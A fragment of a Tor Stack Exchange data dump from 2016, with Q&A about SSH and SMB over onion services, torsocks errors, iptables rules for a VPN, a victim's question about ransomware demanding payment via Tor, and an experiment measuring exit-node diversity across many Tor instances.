  <row Id="9915" PostTypeId="1" CreationDate="2016-03-22T12:00:47.513" Score="3" ViewCount="3779" Body="&lt;p&gt;Tor recently started fiddling with Tor and found out I can host a Tor hidden service that will allow me to forward SSH traffic through a firewall.&#xA;My setup is: I have a computer at home hosting a SSH Hidden Service on Tor with these settings: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 9050&#xA;SocksListenAddress 127.0.0.1&#xA;HiddenServiceDir ./.hs/&#xA;HiddenServicePort &amp;lt;port number&amp;gt; 127.0.0.1:22&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On my work computer I simply connect to this hidden service through Tor, so to make sure my traffic is being routed through the Tor-network i used &lt;a href=&quot;https://github.com/dgoulet/torsocks&quot; rel=&quot;nofollow noreferrer&quot;&gt;torsocks&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now my command to connect to the home pc shoudl be:&#xA;&lt;code&gt;torsocks ssh -p&amp;lt;port number&amp;gt; user@myhiddenservice.onion&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet I keep getting the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ERROR torsock[12879]: General SOCKS server failure (in socks5_recv_connect_reply() at socks5.c:516)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;ssh: connect to host  port : Connection refused&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't know why I can't connect to the service, it seems to be running fine, no problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help, thanks!&lt;/p&gt;&#xA;" OwnerUserId="12131" LastEditorDisplayName="user5" LastEditDate="2017-01-16T23:02:40.270" LastActivityDate="2021-08-07T19:09:35.193" Title="SSH to Tor Hidden service running on Home Computer failed" Tags="|onion-services|ssh|torsocks|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9916" PostTypeId="2" ParentId="9912" CreationDate="2016-03-22T12:49:33.037" Score="1" Body="&lt;p&gt;You can do it if you're using a firewall and transparent proxy mode for tor, it can be done ASA destination-based exception. The tor itself can not have it done neither via config, nor via environment cars, and this is right : it's another network stack components duty to perform the task you need&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-03-22T12:49:33.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9917" PostTypeId="2" ParentId="9915" CreationDate="2016-03-22T17:03:57.650" Score="2" Body="&lt;p&gt;You're not fully understanding how Tor works with traffic, let me explain : it has it's SOCKS listener &lt;em&gt;through which one&lt;/em&gt; he can give you an access to the hidden service &lt;em&gt;by default&lt;/em&gt;. That's it. It is definitely &lt;strong&gt;not&lt;/strong&gt; an out-of-the-box transparent proxy. You need either to put SSH &lt;em&gt;through&lt;/em&gt; SOCKS proxy loke this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ssh -o ProxyCommand='nc -x &amp;lt;your-SockListenAddress-value&amp;gt;:&amp;lt;your-SocksPort-value&amp;gt; %h %p'  user@myhiddenservice.onion&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or use a local mapping in &lt;code&gt;torrc&lt;/code&gt; &lt;strong&gt;and&lt;/strong&gt; forward all the traffic to the &quot;mapping network&quot; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VirtualAddrNetworkIPv4 10.10.0.0/16&#xA;AutomapHostsOnResolve 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;via your firewall to : port number for transparent proxying. Tor &lt;em&gt;itself&lt;/em&gt; does not offering &lt;strong&gt;any&lt;/strong&gt; routing - it's just a door, Neo ;)&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-03-22T17:03:57.650" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9918" PostTypeId="1" CreationDate="2016-03-22T23:13:59.590" Score="2" ViewCount="242" Body="&lt;p&gt;Let's suppose that I am using Tor and I open another page in Firefox at the same time.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Will it compromise my anonymity?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12203" LastEditorUserId="12013" LastEditDate="2016-03-23T10:52:41.000" LastActivityDate="2016-08-20T20:32:05.497" Title="Can I use other applications connected to the Internet while using Tor?" Tags="|anonymity|firefox|deanonymization|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9919" PostTypeId="2" ParentId="9910" CreationDate="2016-03-22T23:28:02.477" Score="0" Body="&lt;p&gt;OK, it seems to be an answer breaking through. First - &lt;strong&gt;never&lt;/strong&gt; use a UDP for VPN, especially when you'll be SCPing large files you will see the problems. TCP and it will be just fine. Second - on your firewall it must depend on ;)  - post your firewall rules, please. You need to make an exception for tunnel packets. Use/make a separate user for it - like &lt;code&gt;openvpn&lt;/code&gt; - it will be much easier to help your packets to pass through&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;try to replace XXX by your DO vpn &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/sbin/iptables -A INPUT -p tcp -s XXX.XXX.XXX.XXX -j ACCEPT&#xA;/sbin/iptables -A OUTPUT -p tcp -d  XXX.XXX.XXX.XXX -j ACCEPT&#xA;/sbin/iptables -t nat -A PREROUTING -p tcp -d  XXX.XXX.XXX.XXX -j RETURN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;let's see what will happen&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2016-03-23T01:13:40.707" LastActivityDate="2016-03-23T01:13:40.707" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9920" PostTypeId="1" AcceptedAnswerId="9926" CreationDate="2016-03-23T02:14:17.880" Score="0" ViewCount="141" Body="&lt;p&gt;I wonder whether there is a front end for tor using only a web browser. For example, I want to run tor in my router, and I want the computers connected to it to monitor the status of tor using only a web browser.&lt;/p&gt;&#xA;" OwnerUserId="12206" LastActivityDate="2016-03-23T06:49:21.533" Title="Is there a front end for tor using only a browser?" Tags="|client|" AnswerCount="1" CommentCount="0" ClosedDate="2016-03-23T10:47:48.540" ContentLicense="CC BY-SA 3.0" />
  <row Id="9921" PostTypeId="1" CreationDate="2016-03-23T02:58:25.597" Score="1" ViewCount="37" Body="&lt;p&gt;Various web pages cause Tor Browser 5.5.4 on Windows 7 to abort which, in turn, locks up the computer.&#xA;Can only reboot with NMI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there readable abort logs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This started happening in 5.5.3&lt;/p&gt;&#xA;" OwnerUserId="12207" LastEditorUserId="88" LastEditDate="2016-03-23T10:52:14.937" LastActivityDate="2016-03-23T10:52:14.937" Title="TOR aborts, locks up computer" Tags="|tor-browser-bundle|windows|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9922" PostTypeId="1" CreationDate="2016-03-23T03:38:04.727" Score="11" ViewCount="6324" Body="&lt;p&gt;I went to a dangerous website using an unpatched browser and/or risky plugins like Java, Flash, and Adobe Reader, and now something has taken over my computer and encrypted my files. It left me a note saying that I need to get Bitcoins and then download Tor Browser to pay the ransom, or I'll never see my files again!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's going on? Why is Tor involved?&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2016-03-23T11:23:30.363" LastActivityDate="2016-08-11T17:13:54.320" Title="I got infected by ransomware, and it tells me to download Tor. What's going on?" Tags="|onion-services|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9923" PostTypeId="2" ParentId="9922" CreationDate="2016-03-23T03:43:35.723" Score="1" Body="&lt;p&gt;Does it tell you to got to a site ending with .onion or .exit? Probably they will give you a bitcoin address or let you download a key when you go to their site. They use a tor hidden service so that they will not so easily be traced.&lt;/p&gt;&#xA;" OwnerUserId="12198" LastEditorUserId="12198" LastEditDate="2016-03-23T03:49:38.753" LastActivityDate="2016-03-23T03:49:38.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9925" PostTypeId="2" ParentId="9922" CreationDate="2016-03-23T03:58:53.697" Score="6" Body="&lt;p&gt;I'm sorry to hear that! It sounds like you have been infected with ransomware named &quot;Cryptowall&quot;. This is a type of malware that encrypts your files and deletes the originals, and then blackmails you into paying the malware authors for the decryption key. The authors are in Russia or somewhere similar, so they want you to pay them with Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cryptowall has nothing to do with Tor. We (Tor) are bystanders too, dragged into this mess by the jerks in Russia who infected your computer. We're as upset as you are. And we're especially sad that this might be your first introduction to Tor, which is used by millions of people around the world, including ordinary citizens who want protection from identity theft and prying corporations, corporations who want to look at a competitor's website in private, bloggers and activists whose Internet connections are censored or surveilled, and even governments and law enforcement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ransomware is a huge and growing concern on the Internet. Apparently the Cryptowall people have collected &lt;a href=&quot;https://en.wikipedia.org/wiki/Ransomware&quot; rel=&quot;nofollow&quot;&gt;more than $18M USD&lt;/a&gt; as of mid 2015 (!), so you are far from alone. Sadly, even organizations like &lt;a href=&quot;http://www.latimes.com/local/lanow/la-me-ln-two-more-so-cal-hospitals-ransomware-20160322-story.html&quot; rel=&quot;nofollow&quot;&gt;hospitals&lt;/a&gt; have been affected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best answer, but alas it's probably too late for you now, is to avoid running insecure software. Be sure to stay up-to-date on all your software updates and patches, and also avoid running things like Flash that always seem to have security problems. The second best answer, and maybe this one isn't too late for you, is to do frequent backups. Maybe you can just go to one of your backups and restore your files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, so why is Tor Browser involved here at all? The simple answer as far as we can tell is that the jerks who wrote Cryptowall decided Tor is cool, so they wanted to include it somehow. They set up a ransom website to receive your bitcoins, and they gave it a Tor onion address rather than a more normal web address. Tor &lt;a href=&quot;https://media.ccc.de/v/32c3-7322-tor_onion_services_more_useful_than_you_think&quot; rel=&quot;nofollow&quot;&gt;onion services&lt;/a&gt; can provide stronger security to users who want to be sure they're reaching the right service (that's why &lt;a href=&quot;https://blog.torproject.org/blog/facebook-hidden-services-and-https-certs&quot; rel=&quot;nofollow&quot;&gt;Facebook runs one&lt;/a&gt;), and they can also provide stronger security to the service side too, for example by making it hard to learn where the website is located. But in this case, the Cryptowall people aren't relying just on the onion service security. Since they're in Russia or the like, the authorities won't do anything even if they do learn their names or location. :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are &lt;a href=&quot;https://www.fbi.gov/news/stories/2015/january/ransomware-on-the-rise&quot; rel=&quot;nofollow&quot;&gt;hundreds of variants of ransomware in the world&lt;/a&gt;, and most just host their websites in Malaysia or some other country that doesn't care to answer legal demands. That is, Cryptowall doesn't rely on Tor to accomplish its goals. You probably think (quite reasonably) that they are terrible people for ruining your day. We think that they are terrible people for dragging Tor into this, and for giving privacy a bad reputation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In closing, I'm afraid we don't have any good answers to questions like &quot;should I pay them&quot; or &quot;if I pay them, how do I know I'll get my files&quot;. It's a crummy situation all around -- especially because your US dollars and Euros go a long way in Russia, which keeps the cybercrime engine going. This is another illustration of the &lt;a href=&quot;https://www.torproject.org/docs/faq-abuse#WhatAboutCriminals&quot; rel=&quot;nofollow&quot;&gt;&quot;bad people on the Internet are doing great, and good people don't have enough tools to help them&quot;&lt;/a&gt; situation that we'd like to fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Can somebody point to a great tutorial on how to clean up after Cryptowall, how to lock down your system afterwards, etc? All the ones I found were thinly veiled advertisements by antivirus companies, and their motivations mean they always recommend their own product. We should edit the end of this answer to point to those great tutorials.]&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2016-03-23T11:23:05.940" LastActivityDate="2016-03-23T11:23:05.940" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9926" PostTypeId="2" ParentId="9920" CreationDate="2016-03-23T06:49:21.533" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/ijcoe6ru/php_tor_controller/&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ijcoe6ru/php_tor_controller/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This one only needs a browser. But you need to have an http server installed on the router.&lt;/p&gt;&#xA;" OwnerUserId="12198" LastActivityDate="2016-03-23T06:49:21.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9927" PostTypeId="2" ParentId="9918" CreationDate="2016-03-23T09:40:18.817" Score="1" Body="&lt;h2&gt;No&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Technically speaking, a Tor site won't know you opened that connection on clearnet and the clearnet site won't be able to tell whether you're using Tor (your ISP can, though). Also you won't have your Tor identity revealed. &lt;strong&gt;In theory.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;However ...&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;... there's the big problem that you're a human. Humans make errors. If some APT (advanced persistent thread, for example the NSA) or a malicious entity is watching your network it may be possible to trace what you do in Tor and reveal your identity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several ways this could be done:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you do something on the Tor (for example typing a text on a malicious hidden service) and sometimes stop to do something in clearnet one can correlate that this Tor identity is probably you.&lt;/li&gt;&#xA;&lt;li&gt;If you're reading something on a Tor page and look up something you found there in clearnet its another big hint at you.&lt;/li&gt;&#xA;&lt;li&gt;Humans do errors. Try to opening an address which you don't want to be known in your clearnet browser and its obvious you're using Tor. Bonus point if you open it next in the Tor browser to fully reveal your Tor identity.&lt;/li&gt;&#xA;&lt;li&gt;Even if you're running Tor fully virtualized, if your VM is compromised a malicious clearnet page could create for example very specific CPU load patterns which the VM can identify revealing your identity.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now most of these are worst case scenarios, most malicious entities won't be able to fully watch your traffic. Also it's &lt;em&gt;really&lt;/em&gt; hard to track your Tor identity.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;TL;DR&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Coming to a conclusion, it doesn't spoil your identity per-se. But it increases your chances to be revealed by error or wrong behaviour. If you don't do something highly illegal, you're probably safe from this advanced tracking but if you want or need need to stay save in every case, &lt;strong&gt;do not do this&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12215" LastEditorUserId="12737" LastEditDate="2016-07-21T20:14:56.433" LastActivityDate="2016-07-21T20:14:56.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9928" PostTypeId="2" ParentId="9922" CreationDate="2016-03-23T09:54:26.143" Score="14" Body="&lt;h2&gt;What's going on?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You got a malware that encrypted all your files. To get them back, you have to pay. This type of malware is called &lt;a href=&quot;https://en.wikipedia.org/wiki/Ransomware&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Ransomware on Wikipedia&quot;&gt;&lt;em&gt;Ransomware&lt;/em&gt; (Wikipedia).&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;What do you mean by &lt;em&gt;encrypted all my files&lt;/em&gt;?!&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When you caught the ransomware, it took your files one by one and encrypted it with a &lt;em&gt;key&lt;/em&gt;. When all your files were encrypted, it probably created a small text file on your desktop with a name along the line of &lt;code&gt;README_TO_GET_YOUR_FILES_BACK.txt&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;But if it encrypted all my files, the key must be somewhere!&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It totally depends of the ransomware, but probably not. Chances are, it used &lt;a href=&quot;https://en.wikipedia.org/wiki/Public-key_cryptography&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Assymetric cryptography on Wikipedia&quot;&gt;&lt;em&gt;Assymetric cryptography&lt;/em&gt;&lt;/a&gt; to encrypt your files. Basically, you have one key to encrypt, and another one to decrypt. Even if you found the key used to encrypt your files, it wouldn't help you to decrypt them. The attackers have the key you want and did not put it in the ransomware; and they want you to pay to get it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can still try to search on Google, copy-pasting their message to see if you can find the name of your malware (TeslaCrypt, CryptoLocker, CryptoWall, etc.). You may get more information, and perhaps a solution to recover your file if it was a weak ransomware. However, &lt;strong&gt;do NOT download random &lt;em&gt;Ransomware Removal Tools&lt;/em&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;/strong&gt; and remember that it was probably by downloading some fishy files that you caught the ransomware in the first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;&lt;sup&gt;1&lt;/sup&gt; You can trust some websites! For example, Kaspersky provides &lt;a href=&quot;https://noransom.kaspersky.com/&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Ransomware Decryptor from Kaspersky Lab&quot;&gt;a free tool&lt;/a&gt; to get rid of CoinVault and Bitcryptor.&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Why is Tor involved? And Bitcoins?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can recognize a Tor link with the &lt;code&gt;.onion&lt;/code&gt; at the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They use Tor because it makes it harder for law enforcement to find them. It has nothing to do with the Tor project &lt;em&gt;per se&lt;/em&gt;. The same goes for Bitcoins: they are harder to track than a bank transfer; like in the movies when the kidnappers ask for &lt;em&gt;cash-only-20-unmarked-bills&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor and Bitcoins offer you to improve your privacy/anonymity. Everybody likes more privacy, unfortunately including bad people.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Should I pay? Will they give me my files back?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I would like to say that you should not, but it isn't realistic. This is a decision that &lt;em&gt;you&lt;/em&gt; have to make. I would still suggest that you pay only if you have very valuable data&lt;sup&gt;2&lt;/sup&gt; that you want to get back. You game saves or grocery list are probably not worth to be saved. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some people says that &lt;a href=&quot;https://nakedsecurity.sophos.com/2015/03/19/ransomware-should-you-pay/&quot; rel=&quot;nofollow noreferrer&quot;&gt;you are &lt;em&gt;likely&lt;/em&gt; to get your files back.&lt;/a&gt; Ransomwares work because people pay; and people pay because they &lt;em&gt;think&lt;/em&gt; they will get their files back. The fact is: &lt;em&gt;you don't know.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that they also have a great customer service. &lt;a href=&quot;http://www.networkworld.com/article/2894507/opensource-subnet/some-cybercriminals-are-improving-customer-service-for-their-victims.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Link-1&lt;/a&gt; - &lt;a href=&quot;http://www.theregister.co.uk/2015/05/20/teslacrypt_ransomware_scam_dissected/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Link-2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;&lt;sup&gt;2&lt;/sup&gt; What you should consider as &lt;em&gt;valuable data&lt;/em&gt; is up to you.&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;What should I do next ?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Whether or not you got your files back, you should do a clean install: reformat your whole drive and reinstall the OS. Other malwares might have been installed along with the ransomware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep your system and softwares up-to-date, don't visit suspicious websites and make regular backups of your files! (At least the important ones.)&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;I want to know more about the relation between Tor and ransomwares!&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Take a look at &lt;a href=&quot;https://tor.stackexchange.com/a/9925/12013&quot; title=&quot;Roger Dingledine&amp;#39;s answer&quot;&gt;Roger Dingledine's answer.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12013" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-04-17T06:18:54.907" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="9930" PostTypeId="1" AcceptedAnswerId="9932" CreationDate="2016-03-23T13:34:09.550" Score="1" ViewCount="4726" Body="&lt;p&gt;I want to open a shared folder at home for me to access at work, because most ftp is blocked by firewall I though I'd find an inventive way to access my files.&#xA;On my remote host (at home) I host a tor hidden service that will forward all traffic to port 445 (SMB).&lt;/p&gt;&#xA;&lt;p&gt;On my workstation I want to connect to this SMB-files by using this command:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;torsocks smbclient -L \\address.onion -p&amp;lt;port#&amp;gt; -N&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;But this seems to return following warning:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;WARNING torsocks[30239]: [connect] Connection to a local address are denied since it might be a TCP DNS query to a local DNS server. Rejecting it for safety reasons. (in tsocks_connect() at connect.c:186)&lt;/p&gt;&#xA;&lt;p&gt;Connection to address.onion failed (Error NT_STATUS_ACCESS_DENIED)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;But I can't seem to figure out what causes this error, nor do I know how to fix this.&lt;/p&gt;&#xA;&lt;p&gt;Please help thanks ;)&lt;/p&gt;&#xA;" OwnerUserId="12131" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-03-23T17:56:12.013" Title="torsocks[30239]: [connect] Connection to a local address are denied" Tags="|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9931" PostTypeId="1" CreationDate="2016-03-23T14:37:06.453" Score="1" ViewCount="312" Body="&lt;p&gt;But I can't find any useful information on how to achieve this. I understand the reasons why it is disabled but I can't see any way of enabling this plug-in or installing it direct to the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not very technically knowledgable so a step by step guide would be particularly helpful. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks.&lt;/p&gt;&#xA;" OwnerUserId="12222" LastActivityDate="2016-03-23T17:57:54.940" Title="I need to use silverlight in tor" Tags="|blocked-services|" AnswerCount="1" CommentCount="0" ClosedDate="2016-03-23T20:29:08.967" ContentLicense="CC BY-SA 3.0" />
  <row Id="9932" PostTypeId="2" ParentId="9930" CreationDate="2016-03-23T17:56:12.013" Score="1" Body="&lt;p&gt;you will &lt;strong&gt;not&lt;/strong&gt; be able to use SMB &lt;em&gt;directly&lt;/em&gt; through Tor - it needs UDP, and Tor provides TCP only. Use an OpenVPN with TCP port on your hidden service, connect to your hidden service's VPN server - and go through right into your home lan without any problems&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-03-23T17:56:12.013" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9933" PostTypeId="2" ParentId="9931" CreationDate="2016-03-23T17:57:54.940" Score="0" Body="&lt;p&gt;Use a routing middlebox - anf this is the &lt;strong&gt;only&lt;/strong&gt; way : you will have network traffic leaks othervise due to the fact that all the plugins can bypass its host browser's settings&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-03-23T17:57:54.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9934" PostTypeId="1" CreationDate="2016-03-23T18:33:18.547" Score="4" ViewCount="1512" Body="&lt;p&gt;I am researching Tor, and as part of my research I was curious how many distinct exit relays a real-world client would include in building circuits. For my purposes, I am only interested in US exit nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this project: &lt;a href=&quot;https://github.com/mattes/rotating-proxy&quot; rel=&quot;nofollow&quot;&gt;https://github.com/mattes/rotating-proxy&lt;/a&gt;, which load balances proxy requests across multiple Tor instances. Specifically, HAProxy load balances over N polipo instances connected to the SOCKS port of N tor instances:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                          &amp;lt;-&amp;gt; Polipo 1 &amp;lt;-socks-&amp;gt; Tor Proxy 1&#xA;Client &amp;lt;-http-&amp;gt;  HAproxy  &amp;lt;-&amp;gt; Polipo 2 &amp;lt;-socks-&amp;gt; Tor Proxy 2&#xA;                          &amp;lt;-&amp;gt; Polipo n &amp;lt;-socks-&amp;gt; Tor Proxy n&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I modified the Tor arguments in order to maximize the diversity of exit nodes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/usr/sbin/tor&#xA;    --SocksPort {PORT}&#xA;&#xA;    # Allow creating new circuits after 30 seconds&#xA;    --NewCircuitPeriod 30&#xA;&#xA;    # Never reuse a circuit older than 120 seconds&#xA;    --MaxCircuitDirtiness 120&#xA;&#xA;    # Only use exit nodes in the US&#xA;    --ExitNodes {us}&#xA;&#xA;    # Do not operate an exit relay&#xA;    --ExitRelay 0&#xA;&#xA;    # Allow exit nodes not in the consensus&#xA;    --RefuseUnknownExits 0&#xA;&#xA;    # Operate in client mode only&#xA;    --ClientOnly 1&#xA;&#xA;    # Interpret the above ExitNodes argument strictly (nly US)&#xA;    --StrictNodes 1&#xA;&#xA;    # Allow exit nodes supporting single hop circuits (idk if this does anything)&#xA;    --AllowSingleHopCircuits 1&#xA;&#xA;    --DataDirectory /var/lib/tor/10011&#xA;    --PidFile /var/run/tor/10011.pid&#xA;    --Log warn syslog&#xA;    --RunAsDaemon 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The test:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Start the rotating proxy with 100 tor backends&lt;/li&gt;&#xA;&lt;li&gt;Repeatedly request &lt;code&gt;ipinfo.io/json&lt;/code&gt; through the rotating proxy, log the IP address&lt;/li&gt;&#xA;&lt;li&gt;Sort the resulting file by unique IP addresses&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Result after 30 minutes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1581 total requests&lt;/li&gt;&#xA;&lt;li&gt;66 unique IP addresses&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Checking the haproxy stats page confirms that requests are being load balanced across all 100 tor instances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that there are 500+ unique exit relays in the USA, I would expect far more unique IP addresses. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why are there only 66 unique IP addresses? It appears that Tor is not rebuilding circuits as often as it should be, according to the arguments. Or it is rebuilding circuits, but keeping the same exit nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could it be because polipo is keeping a persistent socks connection?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made some improvements and am now seeing better performance. I am still curious if I'm missing anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Improvements I made:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;polipo was caching the ipinfo.io requests for each proxy, which obviously makes it hard to test if the IP is changing... I fixed this by adding &lt;code&gt;ipinfo.io&lt;/code&gt; to &lt;code&gt;/etc/polipo/uncachable&lt;/code&gt; and doing all further tests on my own test server that explicitly forces clients to NOT cache responses&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I enabled the control port on each tor instance so that the daemonized docker script can periodically force a circuit change by sending the &lt;code&gt;newnym&lt;/code&gt; signal to the control port ) via &lt;a href=&quot;https://www.thesprawl.org/research/tor-control-protocol&quot; rel=&quot;nofollow&quot;&gt;https://www.thesprawl.org/research/tor-control-protocol&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here are the new args:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;--NewCircuitPeriod 15&quot;,&#xA;&quot;--MaxCircuitDirtiness 15&quot;,&#xA;&quot;--NumEntryGuards 8&quot;,&#xA;&quot;--CircuitBuildTimeout 5&quot;,&#xA;&quot;--ExitNodes {us}&quot;,&#xA;&quot;--ExitRelay 0&quot;,&#xA;&quot;--RefuseUnknownExits 0&quot;,&#xA;&quot;--ClientOnly 1&quot;,&#xA;&quot;--StrictNodes 1&quot;,&#xA;&quot;--AllowSingleHopCircuits 1&quot;,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So far the test has sent 175 requests, with 61 unique IPs... far better than before, in terms of percentages. We'll see.&lt;/p&gt;&#xA;" OwnerUserId="12224" LastEditorUserId="12224" LastEditDate="2016-03-23T21:12:20.137" LastActivityDate="2016-05-24T09:51:39.560" Title="Tor is only assigning circuits from a very limited subset of exit nodes" Tags="|exit-relays|circuit|socks|research|polipo|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
